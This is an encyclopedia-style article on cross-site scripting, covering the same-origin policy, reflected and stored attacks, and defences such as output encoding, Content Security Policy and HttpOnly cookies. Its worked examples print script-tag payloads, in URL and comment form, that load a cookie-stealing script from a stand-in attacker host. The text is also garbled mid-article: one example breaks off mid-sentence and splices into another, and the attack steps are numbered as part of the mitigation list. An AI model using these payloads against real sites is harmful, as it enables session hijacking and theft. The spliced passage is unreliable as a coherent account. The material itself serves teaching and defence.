Cross-site scripting


Cross-site scripting is a type of web application security vulnerability typically found in web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007. In 2017, XSS attacks were still considered a major threat vector. XSS effects vary in
range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.

Background

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site is granted permission to access resources on a web browser, then content from any URL with the same URI scheme, host name, and port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.
Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.
Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain. The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors, causing some confusion to newcomers to the field of information security.
XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter,
Facebook,
MySpace, YouTube and Orkut. Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.

Types

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional and DOM-based.

Non-persistent (reflected)

The non-persistent cross-site scripting vulnerability is by far the most basic type of web vulnerability. These holes show up when the data provided by a web client, most commonly in HTTP query parameters, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.
Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.
A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

Persistent (or stored)

The persistent XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.
Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other users' browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.
To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a - which is exploitable behavior.
  • Mallory crafts a URL to exploit the vulnerability:
  • # She makes the URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, so that human readers cannot immediately decipher the malicious URL.
  • # She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
  • Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs and loads and runs Mallory's program authstealer.js. Alice forgets about it.
  • The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
  • Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
  • Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't log in anymore.
  • She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.
    • Several things could have been done to mitigate this attack:
    1. The search input could have been sanitized which would include proper encoding checking.
    2. The web server could be set to redirect invalid requests.
    3. The web server could detect a simultaneous login and invalidate the sessions.
    4. The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
    5. The website could display only the last few digits of a previously used credit card.
    6. The website could require users to enter their passwords again before changing their registration information.
    7. The website could enact various aspects of the Content Security Policy.
    8. Set cookie with HttpOnly flag to prevent access from JavaScript.

      Persistent attack

    9. Mallory gets an account on Bob's websites.
    10. Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags will be displayed as it is, and any script tags get run.
    11. Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, she inserts this text: I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
    12. When Alice loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.
    13. Mallory can now hijack Alice's session and impersonate Alice.
    Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.

    Preventive measures

    Contextual output encoding/escaping of string input

    Contextual output encoding/escaping could be used as the primary defense mechanism to stop XSS attacks. There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL encoding. Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.
    Although widely recommended, performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.
    Some web template systems understand the structure of the HTML they produce and automatically pick an appropriate encoder.

    Safely validating untrusted HTML input

    Many operators of particular web applications allow users to utilize a limited subset of HTML markup. When accepting HTML input from users, output encoding will not suffice since the user input needs to be rendered as HTML by the browser. Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS code.
    Many validations rely on parsing out specific "at risk" HTML tags such as the following